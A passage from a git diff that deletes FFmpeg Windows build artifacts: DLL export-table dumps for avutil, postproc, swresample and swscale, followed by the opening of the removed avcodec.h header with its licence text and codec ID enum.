avio_wb32 - 148 93 00022A10 avio_wb64 - 149 94 00022B90 avio_wl16 - 150 95 00022EE0 avio_wl24 - 151 96 00021DD0 avio_wl32 - 152 97 000228A0 avio_wl64 - 153 98 00021230 avio_write - 154 99 0003AA40 avpriv_dv_get_packet - 155 9A 0003A9D0 avpriv_dv_init_demux - 156 9B 0003AB80 avpriv_dv_produce_packet - 157 9C 0001FBC0 avpriv_io_delete - 158 9D 0001F5A0 avpriv_io_move - 159 9E 000B70C0 avpriv_mpegts_parse_close - 160 9F 000B6EB0 avpriv_mpegts_parse_open - 161 A0 000B7040 avpriv_mpegts_parse_packet - 162 A1 0013A890 avpriv_new_chapter - 163 A2 0013B570 avpriv_set_pts_info - 164 A3 000E8410 ff_inet_aton - 165 A4 00106000 ff_rtp_get_local_rtcp_port - 166 A5 00105FF0 ff_rtp_get_local_rtp_port - 167 A6 0010A0B0 ff_rtsp_parse_line - 168 A7 000E8570 ff_socket_nonblock - 169 A8 00027C00 ffio_open_dyn_packet_buf - 170 A9 000262E0 ffio_set_buf_size - 171 AA 0001F000 ffurl_close - 172 AB 0001EA90 ffurl_open - 173 AC 0001EDF0 ffurl_write - 174 AD 00021B80 url_feof - -Dump of file avutil-55.dll - -File Type: DLL - - Section contains the following exports for avutil-55.dll - - 00000000 characteristics - 56C53A22 time date stamp Thu Feb 18 04:27:30 2016 - 0.00 version - 1 ordinal base - 467 number of functions - 467 number of names - - ordinal hint RVA name - - 1 0 000220E0 av_add_i - 2 1 00032C10 av_add_q - 3 2 00025E80 av_add_stable - 4 3 000014A0 av_adler32_update - 5 4 00001C70 av_aes_alloc - 6 5 00001C80 av_aes_crypt - 7 6 000025D0 av_aes_ctr_alloc - 8 7 00002790 av_aes_ctr_crypt - 9 8 000026B0 av_aes_ctr_free - 10 9 00002600 av_aes_ctr_get_iv - 11 A 000026E0 av_aes_ctr_increment_iv - 12 B 00002650 av_aes_ctr_init - 13 C 000025E0 av_aes_ctr_set_iv - 14 D 00002610 av_aes_ctr_set_random_iv - 15 E 00001CA0 av_aes_init - 16 F 0006903C av_aes_size - 17 10 00003AF0 av_append_path_component - 18 11 000036B0 av_asprintf - 19 12 00002E40 av_audio_fifo_alloc - 20 13 00003260 av_audio_fifo_drain - 21 14 00002DD0 av_audio_fifo_free - 22 15 00003120 av_audio_fifo_peek - 23 16 000031C0 av_audio_fifo_read - 24 17 00002F90 av_audio_fifo_realloc - 25 18 000032D0 av_audio_fifo_reset - 26 19 00003310 av_audio_fifo_size - 27 1A 00003320 av_audio_fifo_space - 28 1B 00003010 av_audio_fifo_write - 29 1C 00004160 av_base64_decode - 30 1D 000043D0 av_base64_encode - 31 1E 00003A20 av_basename - 32 1F 00004520 av_blowfish_alloc - 33 20 00004CE0 av_blowfish_crypt - 34 21 00004530 av_blowfish_crypt_ecb - 35 22 000656D0 av_blowfish_init - 36 23 00023EC0 av_bmg_get - 37 24 000057D0 av_bprint_append_data - 38 25 00009D80 av_bprint_channel_layout - 39 26 00005650 av_bprint_chars - 40 27 00005D10 av_bprint_clear - 41 28 00005DF0 av_bprint_escape - 42 29 00005D30 av_bprint_finalize - 43 2A 00005BE0 av_bprint_get_buffer - 44 2B 00005270 av_bprint_init - 45 2C 00005340 av_bprint_init_for_buffer - 46 2D 00005950 av_bprint_strftime - 47 2E 00005360 av_bprintf - 48 2F 00006180 av_buffer_alloc - 49 30 000062E0 av_buffer_allocz - 50 31 00006230 av_buffer_create - 51 32 000060C0 av_buffer_default_free - 52 33 00006460 av_buffer_get_opaque - 53 34 00006470 av_buffer_get_ref_count - 54 35 00006440 av_buffer_is_writable - 55 36 00006480 av_buffer_make_writable - 56 37 00006930 av_buffer_pool_get - 57 38 00006840 av_buffer_pool_init - 58 39 000068A0 av_buffer_pool_uninit - 59 3A 000065F0 av_buffer_realloc - 60 3B 000063B0 av_buffer_ref - 61 3C 000063F0 av_buffer_unref - 62 3D 000270D0 av_calloc - 63 3E 000079C0 av_camellia_alloc - 64 3F 000079D0 av_camellia_crypt - 65 40 00065862 av_camellia_init - 66 41 0006A2D8 av_camellia_size - 67 42 00008DB0 av_cast5_alloc - 68 43 000096C0 av_cast5_crypt - 69 44 00008DC0 av_cast5_crypt2 - 70 45 0006645E av_cast5_init - 71 46 0006C6E0 av_cast5_size - 72 47 0000A320 av_channel_layout_extract_channel - 73 48 000320D0 av_chroma_location_name - 74 49 00022920 av_cmp_i - 75 4A 00032070 av_color_primaries_name - 76 4B 00032050 av_color_range_name - 77 4C 000320B0 av_color_space_name - 78 4D 00032090 av_color_transfer_name - 79 4E 00025C40 av_compare_mod - 80 4F 00025B70 av_compare_ts - 81 50 0000AA80 av_cpu_count - 82 51 0000AD40 av_crc - 83 52 0000ACE0 av_crc_get_table - 84 53 0000AAF0 av_crc_init - 85 54 00032CC0 av_d2q - 86 55 00003740 av_d2str - 87 56 00024D50 av_default_get_category - 88 57 00024D40 av_default_item_name - 89 58 0000AE00 av_des_alloc - 90 59 0000B0F0 av_des_crypt - 91 5A 0000AE10 av_des_init - 92 5B 0000B9E0 av_des_mac - 93 5C 0000CA80 av_dict_copy - 94 5D 0000BEB0 av_dict_count - 95 5E 0000CA20 av_dict_free - 96 5F 0000BED0 av_dict_get - 97 60 0000CDD0 av_dict_get_string - 98 61 0000C5C0 av_dict_parse_string - 99 62 0000BFE0 av_dict_set - 100 63 0000C2D0 av_dict_set_int - 101 64 00003A80 av_dirname - 102 65 0000D120 av_display_matrix_flip - 103 66 0000CF60 av_display_rotation_get - 104 67 0000D060 av_display_rotation_set - 105 68 00023D20 av_div_i - 106 69 00032BC0 av_div_q - 107 6A 0000D180 av_downmix_info_update_side_data - 108 6B 00027460 av_dynarray2_add - 109 6C 000273B0 av_dynarray_add - 110 6D 00027310 av_dynarray_add_nofree - 111 6E 00003C90 av_escape - 112 6F 00018DE0 av_expr_eval - 113 70 0000E1F0 av_expr_free - 114 71 00017F80 av_expr_parse - 115 72 00019AE0 av_expr_parse_and_eval - 116 73 00027960 av_fast_malloc - 117 74 00027A10 av_fast_mallocz - 118 75 000278F0 av_fast_realloc - 119 76 0001AA00 av_fifo_alloc - 120 77 0001AA60 av_fifo_alloc_array - 121 78 0001AF60 av_fifo_drain - 122 79 0001AAF0 av_fifo_free - 123 7A 0001AB20 av_fifo_freep - 124 7B 0001ADD0 av_fifo_generic_peek - 125 7C 0001ACE0 av_fifo_generic_peek_at - 126 7D 0001AE90 av_fifo_generic_read - 127 7E 0001AC10 av_fifo_generic_write - 128 7F 0001ABC0 av_fifo_grow - 129 80 0001ABA0 av_fifo_realloc2 - 130 81 0001AB60 av_fifo_reset - 131 82 0001AB80 av_fifo_size - 132 83 0001AB90 av_fifo_space - 133 84 0001AFB0 av_file_map - 134 85 0001B180 av_file_unmap - 135 86 00031870 av_find_best_pix_fmt_of_2 - 136 87 0002FB70 av_find_info_tag - 137 88 00032F40 av_find_nearest_q_idx - 138 89 0001B3C0 av_fopen_utf8 - 139 8A 0000A940 av_force_cpu_flags - 140 8B 0001D3F0 av_frame_alloc - 141 8C 0001F000 av_frame_clone - 142 8D 0001E4F0 av_frame_copy - 143 8E 0001E1E0 av_frame_copy_props - 144 8F 0001D500 av_frame_free - 145 90 0001D1E0 av_frame_get_best_effort_timestamp - 146 91 0001D6F0 av_frame_get_buffer - 147 92 0001D240 av_frame_get_channel_layout - 148 93 0001D260 av_frame_get_channels - 149 94 0001D320 av_frame_get_color_range - 150 95 0001D300 av_frame_get_colorspace - 151 96 0001D2C0 av_frame_get_decode_error_flags - 152 97 0001D2A0 av_frame_get_metadata - 153 98 0001D200 av_frame_get_pkt_duration - 154 99 0001D220 av_frame_get_pkt_pos - 155 9A 0001D2E0 av_frame_get_pkt_size - 156 9B 0001E1F0 av_frame_get_plane_buffer - 157 9C 0001D3A0 av_frame_get_qp_table - 158 9D 0001D280 av_frame_get_sample_rate - 159 9E 0001E4A0 av_frame_get_side_data - 160 9F 0001E140 av_frame_is_writable - 161 A0 0001F310 av_frame_make_writable - 162 A1 0001DFF0 av_frame_move_ref - 163 A2 0001E3D0 av_frame_new_side_data - 164 A3 0001E730 av_frame_ref - 165 A4 0001F780 av_frame_remove_side_data - 166 A5 0001D1F0 av_frame_set_best_effort_timestamp - 167 A6 0001D250 av_frame_set_channel_layout - 168 A7 0001D270 av_frame_set_channels - 169 A8 0001D330 av_frame_set_color_range - 170 A9 0001D310 av_frame_set_colorspace - 171 AA 0001D2D0 av_frame_set_decode_error_flags - 172 AB 0001D2B0 av_frame_set_metadata - 173 AC 0001D210 av_frame_set_pkt_duration - 174 AD 0001D230 av_frame_set_pkt_pos - 175 AE 0001D2F0 av_frame_set_pkt_size - 176 AF 0001D350 av_frame_set_qp_table - 177 B0 0001D290 av_frame_set_sample_rate - 178 B1 0001F820 av_frame_side_data_name - 179 B2 0001DE20 av_frame_unref - 180 B3 00027020 av_free - 181 B4 00027030 av_freep - 182 B5 00025860 av_gcd - 183 B6 00038EF0 av_get_alt_sample_fmt - 184 B7 000308A0 av_get_bits_per_pixel - 185 B8 00039000 av_get_bytes_per_sample - 186 B9 0000A250 av_get_channel_description - 187 BA 00009B00 av_get_channel_layout - 188 BB 0000A030 av_get_channel_layout_channel_index - 189 BC 00009F60 av_get_channel_layout_nb_channels - 190 BD 00009F20 av_get_channel_layout_string - 191 BE 0000A180 av_get_channel_name - 192 BF 0001D3D0 av_get_colorspace_name - 193 C0 0000A990 av_get_cpu_flags - 194 C1 00009FE0 av_get_default_channel_layout - 195 C2 0002F140 av_get_known_color_name - 196 C3 00044740 av_get_media_type_string - 197 C4 00038F20 av_get_packed_sample_fmt - 198 C5 000308F0 av_get_padded_bits_per_pixel - 199 C6 000447C0 av_get_picture_type_char - 200 C7 00030780 av_get_pix_fmt - 201 C8 00031290 av_get_pix_fmt_loss - 202 C9 00030750 av_get_pix_fmt_name - 203 CA 00030990 av_get_pix_fmt_string - 204 CB 00038F50 av_get_planar_sample_fmt - 205 CC 000326A0 av_get_random_seed - 206 CD 00038D60 av_get_sample_fmt - 207 CE 00038D30 av_get_sample_fmt_name - 208 CF 00038F80 av_get_sample_fmt_string - 209 D0 0000A400 av_get_standard_channel_layout - 210 D1 000448C0 av_get_time_base_q - 211 D2 00003790 av_get_token - 212 D3 00042780 av_gettime - 213 D4 000427B0 av_gettime_relative - 214 D5 000427F0 av_gettime_relative_is_monotonic - 215 D6 0001F9C0 av_hash_alloc - 216 D7 0001FC90 av_hash_final - 217 D8 0001FEC0 av_hash_final_b64 - 218 D9 0001FD20 av_hash_final_bin - 219 DA 0001FE40 av_hash_final_hex - 220 DB 00020000 av_hash_freep - 221 DC 0001F980 av_hash_get_name - 222 DD 0001F9A0 av_hash_get_size - 223 DE 0001FAE0 av_hash_init - 224 DF 0001F950 av_hash_names - 225 E0 0001FBF0 av_hash_update - 226 E1 00020030 av_hmac_alloc - 227 E2 00020830 av_hmac_calc - 228 E3 00020530 av_hmac_final - 229 E4 000201C0 av_hmac_free - 230 E5 000201F0 av_hmac_init - 231 E6 00020520 av_hmac_update - 232 E7 00023E00 av_i2int - 233 E8 00021430 av_image_alloc - 234 E9 000216F0 av_image_check_sar - 235 EA 00021680 av_image_check_size - 236 EB 00021830 av_image_copy - 237 EC 00021770 av_image_copy_plane - 238 ED 00021EC0 av_image_copy_to_buffer - 239 EE 00021C70 av_image_fill_arrays - 240 EF 00020DF0 av_image_fill_linesizes - 241 F0 00020B90 av_image_fill_max_pixsteps - 242 F1 00021120 av_image_fill_pointers - 243 F2 00021D80 av_image_get_buffer_size - 244 F3 00020CA0 av_image_get_linesize - 245 F4 00023D80 av_int2i - 246 F5 000447E0 av_int_list_length_for_size - 247 F6 00066640 av_lfg_init - 248 F7 00025060 av_log - 249 F8 00023E80 av_log2 - 250 F9 00023EA0 av_log2_16bit - 251 FA 000223A0 av_log2_i - 252 FB 000246F0 av_log_default_callback - 253 FC 00024D60 av_log_format_line - 254 FD 00025120 av_log_get_flags - 255 FE 000250F0 av_log_get_level - 256 FF 00025130 av_log_set_callback - 257 100 00025110 av_log_set_flags - 258 101 00025100 av_log_set_level - 259 102 00025200 av_lzo1x_decode - 260 103 00026D80 av_malloc - 261 104 00027050 av_mallocz - 262 105 000257F0 av_mastering_display_metadata_alloc - 263 106 00025800 av_mastering_display_metadata_create_side_data - 264 107 00004090 av_match_list - 265 108 00003D20 av_match_name - 266 109 00026D70 av_max_alloc - 267 10A 00026740 av_md5_alloc - 268 10B 00026960 av_md5_final - 269 10C 00026750 av_md5_init - 270 10D 000713E4 av_md5_size - 271 10E 00026B10 av_md5_sum - 272 10F 00026770 av_md5_update - 273 110 00027540 av_memcpy_backptr - 274 111 00027280 av_memdup - 275 112 00022BC0 av_mod_i - 276 113 000224B0 av_mul_i - 277 114 00032B70 av_mul_q - 278 115 00027AD0 av_murmur3_alloc - 279 116 00028000 av_murmur3_final - 280 117 00027B10 av_murmur3_init - 281 118 00027AE0 av_murmur3_init_seeded - 282 119 00027B50 av_murmur3_update - 283 11A 00032E30 av_nearer_q - 284 11B 0002D790 av_opt_child_class_next - 285 11C 0002D770 av_opt_child_next - 286 11D 0002D7F0 av_opt_copy - 287 11E 0002CEB0 av_opt_eval_double - 288 11F 0002CDB0 av_opt_eval_flags - 289 120 0002CE70 av_opt_eval_float - 290 121 0002CDF0 av_opt_eval_int - 291 122 0002CE30 av_opt_eval_int64 - 292 123 0002CEF0 av_opt_eval_q - 293 124 0002BE90 av_opt_find - 294 125 0002BC20 av_opt_find2 - 295 126 0002D550 av_opt_flag_is_set - 296 127 0002BBA0 av_opt_free - 297 128 0002DB80 av_opt_freep_ranges - 298 129 0002A9B0 av_opt_get - 299 12A 0002B600 av_opt_get_channel_layout - 300 12B 0002B680 av_opt_get_dict_val - 301 12C 0002AF90 av_opt_get_double - 302 12D 0002B2C0 av_opt_get_image_size - 303 12E 0002AE10 av_opt_get_int - 304 12F 0002BA80 av_opt_get_key_value - 305 130 0002B500 av_opt_get_pixel_fmt - 306 131 0002B110 av_opt_get_q - 307 132 0002B580 av_opt_get_sample_fmt - 308 133 0002B350 av_opt_get_video_rate - 309 134 0002DC10 av_opt_is_set_to_default - 310 135 0002E180 av_opt_is_set_to_default_by_name - 311 136 00029AF0 av_opt_next - 312 137 0002D7B0 av_opt_ptr - 313 138 0002DB20 av_opt_query_ranges - 314 139 00028D60 av_opt_query_ranges_default - 315 13A 0002E710 av_opt_serialize - 316 13B 0002C480 av_opt_set - 317 13C 0002A1E0 av_opt_set_bin - 318 13D 0002A8C0 av_opt_set_channel_layout - 319 13E 0002BA70 av_opt_set_defaults - 320 13F 0002B740 av_opt_set_defaults2 - 321 140 0002D540 av_opt_set_dict - 322 141 0002CF30 av_opt_set_dict2 - 323 142 0002A930 av_opt_set_dict_val - 324 143 00029D20 av_opt_set_double - 325 144 0002CB90 av_opt_set_from_string - 326 145 0002A2F0 av_opt_set_image_size - 327 146 00029B30 av_opt_set_int - 328 147 0002A6A0 av_opt_set_pixel_fmt - 329 148 00029F50 av_opt_set_q - 330 149 0002A7B0 av_opt_set_sample_fmt - 331 14A 0002A3C0 av_opt_set_video_rate - 332 14B 0002B6E0 av_opt_show2 - 333 14C 0002EDB0 av_parse_color - 334 14D 0000AA50 av_parse_cpu_caps - 335 14E 0000AA00 av_parse_cpu_flags - 336 14F 0002E9D0 av_parse_ratio - 337 150 0002F590 av_parse_time - 338 151 0002EB70 av_parse_video_rate - 339 152 0002EAB0 av_parse_video_size - 340 153 00030B60 av_pix_fmt_count_planes - 341 154 00030A50 av_pix_fmt_desc_get - 342 155 00030AE0 av_pix_fmt_desc_get_id - 343 156 00030A80 av_pix_fmt_desc_next - 344 157 00030B20 av_pix_fmt_get_chroma_sub_sample - 345 158 00031160 av_pix_fmt_swap_endianness - 346 159 00032620 av_pixelutils_get_sad_fn - 347 15A 000330E0 av_q2intfloat - 348 15B 00033220 av_rc4_alloc - 349 15C 00033DD0 av_rc4_crypt - 350 15D 00033230 av_rc4_init - 351 15E 000302E0 av_read_image_line - 352 15F 00026DD0 av_realloc - 353 160 00026F20 av_realloc_array - 354 161 00026E10 av_realloc_f - 355 162 00026EA0 av_reallocp - 356 163 00026F70 av_reallocp_array - 357 164 00032910 av_reduce - 358 165 00025B00 av_rescale - 359 166 00025C60 av_rescale_delta - 360 167 00025B40 av_rescale_q - 361 168 00025B10 av_rescale_q_rnd - 362 169 000258E0 av_rescale_rnd - 363 16A 00038830 av_ripemd_alloc - 364 16B 000389B0 av_ripemd_final - 365 16C 00066790 av_ripemd_init - 366 16D 00081724 av_ripemd_size - 367 16E 00038840 av_ripemd_update - 368 16F 00039020 av_sample_fmt_is_planar - 369 170 00039280 av_samples_alloc - 370 171 00039540 av_samples_alloc_array_and_samples - 371 172 000395F0 av_samples_copy - 372 173 00039140 av_samples_fill_arrays - 373 174 00039040 av_samples_get_buffer_size - 374 175 00039730 av_samples_set_silence - 375 176 0000A9D0 av_set_cpu_flags_mask - 376 177 0002C9B0 av_set_options_string - 377 178 00041950 av_sha512_alloc - 378 179 00041AC0 av_sha512_final - 379 17A 00066950 av_sha512_init - 380 17B 000818B4 av_sha512_size - 381 17C 00041960 av_sha512_update - 382 17D 0003D5F0 av_sha_alloc - 383 17E 0003D770 av_sha_final - 384 17F 000668A0 av_sha_init - 385 180 00081864 av_sha_size - 386 181 0003D600 av_sha_update - 387 182 000229F0 av_shr_i - 388 183 0002F190 av_small_strptime - 389 184 00041FC0 av_stereo3d_alloc - 390 185 00041FD0 av_stereo3d_create_side_data - 391 186 00003950 av_strcasecmp - 392 187 00027160 av_strdup - 393 188 0000D200 av_strerror - 394 189 000033B0 av_stristart - 395 18A 00003430 av_stristr - 396 18B 00003590 av_strlcat - 397 18C 00003650 av_strlcatf - 398 18D 00003520 av_strlcpy - 399 18E 000039B0 av_strncasecmp - 400 18F 000271E0 av_strndup - 401 190 000034B0 av_strnstr - 402 191 00003360 av_strstart - 403 192 0000E0C0 av_strtod - 404 193 000038C0 av_strtok - 405 194 00022240 av_sub_i - 406 195 00032C60 av_sub_q - 407 196 00042130 av_tea_alloc - 408 197 00042170 av_tea_crypt - 409 198 00042140 av_tea_init - 410 199 000818C0 av_tea_size - 411 19A 0001B190 av_tempfile - 412 19B 00042700 av_thread_message_flush - 413 19C 00042340 av_thread_message_queue_alloc - 414 19D 00042460 av_thread_message_queue_free - 415 19E 000425D0 av_thread_message_queue_recv - 416 19F 00042530 av_thread_message_queue_send - 417 1A0 000426C0 av_thread_message_queue_set_err_recv - 418 1A1 00042680 av_thread_message_queue_set_err_send - 419 1A2 00042450 av_thread_message_queue_set_free_func - 420 1A3 00042870 av_timecode_adjust_ntsc_framenum2 - 421 1A4 00042D50 av_timecode_check_frame_rate - 422 1A5 000428E0 av_timecode_get_smpte_from_framenum - 423 1A6 00042DC0 av_timecode_init - 424 1A7 00042ED0 av_timecode_init_from_string - 425 1A8 00042CE0 av_timecode_make_mpeg_tc_string - 426 1A9 00042C00 av_timecode_make_smpte_tc_string - 427 1AA 00042A70 av_timecode_make_string - 428 1AB 0002F4D0 av_timegm - 429 1AC 000435E0 av_tree_destroy - 430 1AD 00043CC0 av_tree_enumerate - 431 1AE 000430C0 av_tree_find - 432 1AF 00043360 av_tree_insert - 433 1B0 000430B0 av_tree_node_alloc - 434 1B1 000819E0 av_tree_node_size - 435 1B2 00044370 av_twofish_alloc - 436 1B3 00044380 av_twofish_crypt - 437 1B4 00066DB9 av_twofish_init - 438 1B5 00081A00 av_twofish_size - 439 1B6 00042800 av_usleep - 440 1B7 00003E80 av_utf8_decode - 441 1B8 00082230 av_util_ffversion - 442 1B9 000054E0 av_vbprintf - 443 1BA 000446F0 av_version_info - 444 1BB 000250D0 av_vlog - 445 1BC 000305D0 av_write_image_line - 446 1BD 00047080 av_xtea_alloc - 447 1BE 000470D0 av_xtea_crypt - 448 1BF 00047090 av_xtea_init - 449 1C0 00047950 av_xtea_le_crypt - 450 1C1 000470B0 av_xtea_le_init - 451 1C2 0001BC00 avpriv_alloc_fixed_dsp - 452 1C3 00083280 avpriv_cga_font - 453 1C4 00066530 avpriv_float_dsp_alloc - 454 1C5 0001D340 avpriv_frame_get_metadatap - 455 1C6 0000A830 avpriv_get_gamma_from_trc - 456 1C7 0000A850 avpriv_get_trc_function_from_trc - 457 1C8 000666D0 avpriv_init_lls - 458 1C9 0001B280 avpriv_open - 459 1CA 000251B0 avpriv_report_missing_feature - 460 1CB 00025140 avpriv_request_sample - 461 1CC 0001CDB0 avpriv_scalarproduct_float_c - 462 1CD 00021300 avpriv_set_systematic_pal2 - 463 1CE 00024230 avpriv_solve_lls - 464 1CF 00082280 avpriv_vga16_font - 465 1D0 00044720 avutil_configuration - 466 1D1 00044730 avutil_license - 467 1D2 00044700 avutil_version - -Dump of file postproc-54.dll - -File Type: DLL - - Section contains the following exports for postproc-54.dll - - 00000000 characteristics - 56C53A3B time date stamp Thu Feb 18 04:27:55 2016 - 0.00 version - 1 ordinal base - 10 number of functions - 10 number of names - - ordinal hint RVA name - - 1 0 00018350 postproc_configuration - 2 1 0001D390 postproc_ffversion - 3 2 00018360 postproc_license - 4 3 00018340 postproc_version - 5 4 0001AE01 pp_free_context - 6 5 00018D70 pp_free_mode - 7 6 0001AD10 pp_get_context - 8 7 00018370 pp_get_mode_by_name_and_quality - 9 8 0001C580 pp_help - 10 9 00018D80 pp_postprocess - -Dump of file swresample-2.dll - -File Type: DLL - - Section contains the following exports for swresample-2.dll - - 00000000 characteristics - 56C53A3B time date stamp Thu Feb 18 04:27:55 2016 - 0.00 version - 1 ordinal base - 22 number of functions - 22 number of names - - ordinal hint RVA name - - 1 0 000485D0 swr_alloc - 2 1 0000A700 swr_alloc_set_opts - 3 2 00049CBD swr_close - 4 3 0000FA40 swr_config_frame - 5 4 0000BFF0 swr_convert - 6 5 0000FB50 swr_convert_frame - 7 6 0000F3D0 swr_drop_output - 8 7 0004FD20 swr_ffversion - 9 8 00049C80 swr_free - 10 9 00003F00 swr_get_class - 11 A 0000F590 swr_get_delay - 12 B 0000F5E0 swr_get_out_samples - 13 C 00049CC2 swr_init - 14 D 0000F400 swr_inject_silence - 15 E 0000BFE0 swr_is_initialized - 16 F 0000F700 swr_next_pts - 17 10 0000A6D0 swr_set_channel_mapping - 18 11 0000F680 swr_set_compensation - 19 12 000056D0 swr_set_matrix - 20 13 0000A6B0 swresample_configuration - 21 14 0000A6C0 swresample_license - 22 15 0000A6A0 swresample_version - -Dump of file swscale-4.dll - -File Type: DLL - - Section contains the following exports for swscale-4.dll - - 00000000 characteristics - 56C53A3B time date stamp Thu Feb 18 04:27:55 2016 - 0.00 version - 1 ordinal base - 34 number of functions - 34 number of names - - ordinal hint RVA name - - 1 0 000994E0 sws_addVec - 2 1 00098A70 sws_allocVec - 3 2 00098990 sws_alloc_context - 4 3 000989D0 sws_alloc_set_opts - 5 4 0009A230 sws_cloneVec - 6 5 00099E20 sws_convVec - 7 6 00085A00 sws_convertPalette8ToPacked24 - 8 7 000859D0 sws_convertPalette8ToPacked32 - 9 8 0009B5A0 sws_freeContext - 10 9 0009B4F0 sws_freeFilter - 11 A 0009B4B0 sws_freeVec - 12 B 0009C470 sws_getCachedContext - 13 C 000C4F60 sws_getCoefficients - 14 D 00098930 sws_getColorspaceDetails - 15 E 00098D60 sws_getConstVec - 16 F 0009B830 sws_getContext - 17 10 0009A420 sws_getDefaultFilter - 18 11 00098AF0 sws_getGaussianVec - 19 12 00098F20 sws_getIdentityVec - 20 13 00021910 sws_get_class - 21 14 000CB1F6 sws_init_context - 22 15 00098910 sws_isSupportedEndiannessConversion - 23 16 000988D0 sws_isSupportedInput - 24 17 000988F0 sws_isSupportedOutput - 25 18 00099080 sws_normalizeVec - 26 19 0009A2D0 sws_printVec2 - 27 1A 000756C0 sws_scale - 28 1B 00098FA0 sws_scaleVec - 29 1C 0009B8F0 sws_setColorspaceDetails - 30 1D 00099190 sws_shiftVec - 31 1E 00099980 sws_subVec - 32 1F 000988B0 swscale_configuration - 33 20 000988C0 swscale_license - 34 21 000988A0 swscale_version - - Summary - - 8000 .CRT - 8FE000 .bss - 7B000 .data - D000 .edata - 18000 .idata - 89000 .pdata - 7F3000 .rdata - 26000 .reloc - 19000 .rodata - 1E000 .rotext - 8000 .rsrc - 1FEF000 .text - 8000 .tls - A7000 .xdata diff --git a/desktop_3230/FFmpeg/include/libavcodec/avcodec.h b/desktop_3230/FFmpeg/include/libavcodec/avcodec.h deleted file mode 100644 index d849765..0000000 --- a/desktop_3230/FFmpeg/include/libavcodec/avcodec.h +++ /dev/null @@ -1,5402 +0,0 @@ -/* - * copyright (c) 2001 Fabrice Bellard - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVCODEC_AVCODEC_H -#define AVCODEC_AVCODEC_H - -/** - * @file - * @ingroup libavc - * Libavcodec external API header - */ - -#include -#include "libavutil/samplefmt.h" -#include "libavutil/attributes.h" -#include "libavutil/avutil.h" -#include "libavutil/buffer.h" -#include "libavutil/cpu.h" -#include "libavutil/channel_layout.h" -#include "libavutil/dict.h" -#include "libavutil/frame.h" -#include "libavutil/log.h" -#include "libavutil/pixfmt.h" -#include "libavutil/rational.h" - -#include "version.h" - -/** - * @defgroup libavc Encoding/Decoding Library - * @{ - * - * @defgroup lavc_decoding Decoding - * @{ - * @} - * - * @defgroup lavc_encoding Encoding - * @{ - * @} - * - * @defgroup lavc_codec Codecs - * @{ - * @defgroup lavc_codec_native Native Codecs - * @{ - * @} - * @defgroup lavc_codec_wrappers External library wrappers - * @{ - * @} - * @defgroup lavc_codec_hwaccel Hardware Accelerators bridge - * @{ - * @} - * @} - * @defgroup lavc_internal Internal - * @{ - * @} - * @} - * - */ - -/** - * @defgroup lavc_core Core functions/structures. - * @ingroup libavc - * - * Basic definitions, functions for querying libavcodec capabilities, - * allocating core structures, etc. - * @{ - */ - - -/** - * Identify the syntax and semantics of the bitstream. - * The principle is roughly: - * Two decoders with the same ID can decode the same streams. - * Two encoders with the same ID can encode compatible streams. - * There may be slight deviations from the principle due to implementation - * details. - * - * If you add a codec ID to this list, add it so that - * 1. no value of a existing codec ID changes (that would break ABI), - * 2. it is as close as possible to similar codecs - * - * After adding new codec IDs, do not forget to add an entry to the codec - * descriptor list and bump libavcodec minor version. - */ -enum AVCodecID { - AV_CODEC_ID_NONE, - - /* video codecs */ - AV_CODEC_ID_MPEG1VIDEO, - AV_CODEC_ID_MPEG2VIDEO, ///< preferred ID for MPEG-1/2 video decoding -#if FF_API_XVMC - AV_CODEC_ID_MPEG2VIDEO_XVMC, -#endif /* FF_API_XVMC */ - AV_CODEC_ID_H261, - AV_CODEC_ID_H263, - AV_CODEC_ID_RV10, - AV_CODEC_ID_RV20, - AV_CODEC_ID_MJPEG, - AV_CODEC_ID_MJPEGB, - AV_CODEC_ID_LJPEG, - AV_CODEC_ID_SP5X, - AV_CODEC_ID_JPEGLS, - AV_CODEC_ID_MPEG4, - AV_CODEC_ID_RAWVIDEO, - AV_CODEC_ID_MSMPEG4V1, - AV_CODEC_ID_MSMPEG4V2, - AV_CODEC_ID_MSMPEG4V3, - AV_CODEC_ID_WMV1, - AV_CODEC_ID_WMV2, - AV_CODEC_ID_H263P, - AV_CODEC_ID_H263I, - AV_CODEC_ID_FLV1, - AV_CODEC_ID_SVQ1, - AV_CODEC_ID_SVQ3, - AV_CODEC_ID_DVVIDEO, - AV_CODEC_ID_HUFFYUV, - AV_CODEC_ID_CYUV, - AV_CODEC_ID_H264, - AV_CODEC_ID_INDEO3, - AV_CODEC_ID_VP3, - AV_CODEC_ID_THEORA, - AV_CODEC_ID_ASV1, - AV_CODEC_ID_ASV2, - AV_CODEC_ID_FFV1, - AV_CODEC_ID_4XM, - AV_CODEC_ID_VCR1, - AV_CODEC_ID_CLJR, - AV_CODEC_ID_MDEC, - AV_CODEC_ID_ROQ, - AV_CODEC_ID_INTERPLAY_VIDEO, - AV_CODEC_ID_XAN_WC3, - AV_CODEC_ID_XAN_WC4, - AV_CODEC_ID_RPZA, - AV_CODEC_ID_CINEPAK, - AV_CODEC_ID_WS_VQA, - AV_CODEC_ID_MSRLE, - AV_CODEC_ID_MSVIDEO1, - AV_CODEC_ID_IDCIN, - AV_CODEC_ID_8BPS, - AV_CODEC_ID_SMC, - AV_CODEC_ID_FLIC, - AV_CODEC_ID_TRUEMOTION1, - AV_CODEC_ID_VMDVIDEO, - AV_CODEC_ID_MSZH, - AV_CODEC_ID_ZLIB, - AV_CODEC_ID_QTRLE, - AV_CODEC_ID_TSCC, - AV_CODEC_ID_ULTI, - AV_CODEC_ID_QDRAW, - AV_CODEC_ID_VIXL, - AV_CODEC_ID_QPEG, - AV_CODEC_ID_PNG, - AV_CODEC_ID_PPM, - AV_CODEC_ID_PBM, - AV_CODEC_ID_PGM, - AV_CODEC_ID_PGMYUV, - AV_CODEC_ID_PAM, - AV_CODEC_ID_FFVHUFF, - AV_CODEC_ID_RV30, - AV_CODEC_ID_RV40, - AV_CODEC_ID_VC1, - AV_CODEC_ID_WMV3, - AV_CODEC_ID_LOCO, - AV_CODEC_ID_WNV1, - AV_CODEC_ID_AASC, - 